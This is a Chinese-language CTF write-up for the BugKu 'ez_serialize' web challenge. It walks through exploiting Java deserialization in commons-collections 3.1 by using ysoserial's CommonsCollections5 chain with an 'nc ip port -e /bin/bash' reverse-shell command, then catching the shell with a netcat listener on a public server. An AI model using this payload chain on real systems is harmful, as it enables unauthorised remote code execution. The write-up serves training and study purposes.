[BugKu Web]ez_serialize

本writeup已经在bugku开放

根据题意,显然是一道JAVA反序列化的题

关于JAVA反序列化漏洞的成因,参见博客https://zhuanlan.zhihu.com/p/422314689

此处只说明解题思路(重复开启场景已经没金币了,用本地环境说明)

下载附件,寻找存在反序列化漏洞的点

阅读pom.xml,发现存在commons-collections组件依赖,其3.1版本存在反序列化漏洞
在这里插入图片描述
阅读helloController.java,确定路由为ip:port/hello,状态码变成了400
在这里插入图片描述
需要输入请求参数name,注意name会经过base64解码 再进行反序列化,因此在传入参数之前需要对payload进行base64编码

payloiad的构造使用ysoserial,问就是没技术

推荐使用linux安装,具体参照https://blog.csdn.net/weixin_44769042/article/details/121378799(windows安装使用出现奇怪的问题)

查看可用组件漏洞及版本

	 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

在这里插入图片描述

选择CommonsCollections5,命令选择nc反弹shell,编码最好在这里进行,不然有奇怪的问题

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "nc ip port -e /bin/bash" |base64 -w0 >poc.bin`

在这里插入图片描述

如果构造payload的命令是无法执行的话(比如windows命令),则会输出something is wrong

在这里插入图片描述 在公网主机上开启监听

 nc -l -p port

将生成的payload作为name的value输入
在这里插入图片描述
在这里插入图片描述

在公网主机上ls一下,就可以看到flag,cat flag,over
在这里插入图片描述

如果本地可以却不能在靶场实现的话,需要注意的坑:必须使用公网ip才能被nc连接到,因此可能需要申请一个有公网ip的云服务器(我是这么做的)

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值